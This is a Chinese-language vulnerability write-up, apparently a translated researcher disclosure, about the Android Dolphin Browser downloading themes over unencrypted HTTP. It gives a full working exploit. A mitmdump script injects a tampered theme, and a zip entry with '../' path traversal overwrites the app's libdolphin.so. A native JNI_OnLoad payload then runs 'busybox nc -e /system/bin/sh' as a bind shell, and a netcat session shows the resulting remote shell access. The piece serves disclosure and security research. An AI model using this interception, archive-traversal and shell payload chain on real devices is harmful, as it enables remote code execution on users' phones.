攻擊者有能力通過安卓海豚瀏覽器控制用戶的網絡通信數據,可以修改下載和應用瀏覽器新主題的函數。通過利用該函數,攻擊者可以寫入任意文件,這些文件將會在用戶設備中的瀏覽器環境下變成代碼執行。整個攻擊唯一需要用戶做的只是選擇,下載,應用主題。
截止2015年7月27日,谷歌應用商店數據顯示,海豚瀏覽器已經有1億的下載量。
安卓版本的海豚瀏覽器有一個功能就是允許用戶通過下載,應用主題來對瀏覽器進行個性化。當用戶選擇一個新主題,這個主題會通過HTTP方式進行下載:
GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp
該主題文件將保存到以下位置:
root@hammerhead:/sdcard/Download # ls
Red_roof.dwp
該文件的后綴名“dwp”僅為海豚瀏覽器自己定制的后綴名,事實上這個文件是一個簡單的zip壓縮文件。
$ file Red_roof.dwp
Red_roof.dwp: Zip archive data, at least v2.0 to extract
當我們檢測其中內容時,可以發現其中用來應用目標主題的特殊數據:
unzip -l Red_roof.dwp.orig
Archive:? Red_roof.dwp.orig
Length???? Date?? Time??? Name
——–??? —-?? —-??? —-
18165? 12-18-14 09:57?? icon.jpg
237? 12-19-14 14:35?? theme.config
131384? 12-18-14 09:54?? wallpaper.jpg
——–?????????????????? ——-
149786?????????????????? 3 files
后來通過對我們選擇,下載,應用的主題進行逆向工程處理。發現該功能還可以解壓主題文件并應用主題的其他配置。
在利用中第一步即要代理下載通信數據并注入修改主題中,這需要我們在測試設備中配置一個代理,然后寫入一個簡單的內聯腳本用來使用mitmdump
def request(context, flow):
if not flow.request.host == “opsen-static.dolphin-browser.com” \
or not flow.request.path.endswith(“.dwp”):
return
# Build response
#
response = http.HTTPResponse([1, 1],
200,
“OK”,
odict.ODictCaseless([[“Content-Type”, “application/zip”]]),
“yo!”)
# Inject theme
#
try:
with open(“Red_roof.dwp”, “r”) as f:
modified = f.read()
response.content = modified
response.headers[“Content-Length”] = [len(modified)]
f.close()
except IOError as e:
raise e
# Return response
#
flow.reply(response)
我們還需要利用瀏覽器主題解壓過程。由于這類案例很多,這里我們就不繼續詳述了。
第一次驗證將修改主題注入到下載響應中,并成功實現對海豚瀏覽器數據目錄寫入任意文件。為了獲得代碼執行權限,接下來我們需要找到一個可以進行覆蓋的文件。
無意間瞄了瞄,發現一個就在文件目錄之中的庫—— libdolphin.so
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd files/
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # ls
AppEventsLogger.persistedevents
EN
icons_cache
libdolphin.so
name_service
splash.on
這似乎就是上天賜給我們的面包啊,我們可以寫入完整的代碼執行了。由此我制作了一個相應的payload:
unzip -l Red_roof.dwp
Archive:? Red_roof.dwp
Length???? Date?? Time??? Name
——–??? —-?? —-??? —-
18165? 12-18-14 09:57?? icon.jpg
237? 12-19-14 14:35?? theme.config
131384? 12-18-14 09:54?? wallpaper.jpg
7? 08-21-15 20:26?? ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
——–?????????????????? ——-
159142?????????????????? 4 files
成功注入這個zip文件之后,從logcat滾動的輸出,我發現了一個gem:
D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318
E/dalvikvm( 2573): dlopen(“/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so”) failed: dlopen failed: “/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so” is too small to be an ELF executable
….
…
.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so
foobar
接著,我們需要創建一個可以用來覆蓋原libdolphin.so的庫:
int JNI_OnLoad( JavaVM* vm, void* reserved )
{
system( “/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh” );
….
..
.
}
使用NDK進行編譯,使用的Python腳本是用來創建一個主題payload然后寫入庫中。
然后完全刪除海豚瀏覽器并重新進行安裝,然后再次進行攻擊。驗證是否成功攔截并注入我們的主題payload
10.174.90.159 GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp
<< 200 OK 150.16kB
我們應用這個主題,為了確定已經成功加載,我們重啟瀏覽器:
D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
現在我們應該可以連接到netcat:
└[~]> nc 10.174.90.159 6666
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0
ls
acct
cache
charger
config
d
data
default.prop
dev
etc
file_contexts
firmware
fstab.hammerhead
init
init.environ.rc
init.hammerhead.rc
init.hammerhead.usb.rc
init.rc
init.trace.rc
init.usb.rc
mnt
persist
proc
property_contexts
res
root
sbin
sdcard
seapp_contexts
sepolicy
storage
sys
system
tmp-mksh
ueventd.hammerhead.rc
ueventd.rc
vendor
對于這個漏洞我已經積極聯系海豚瀏覽器團隊了,建議目前使用該瀏覽器最好不要下載安裝新主題。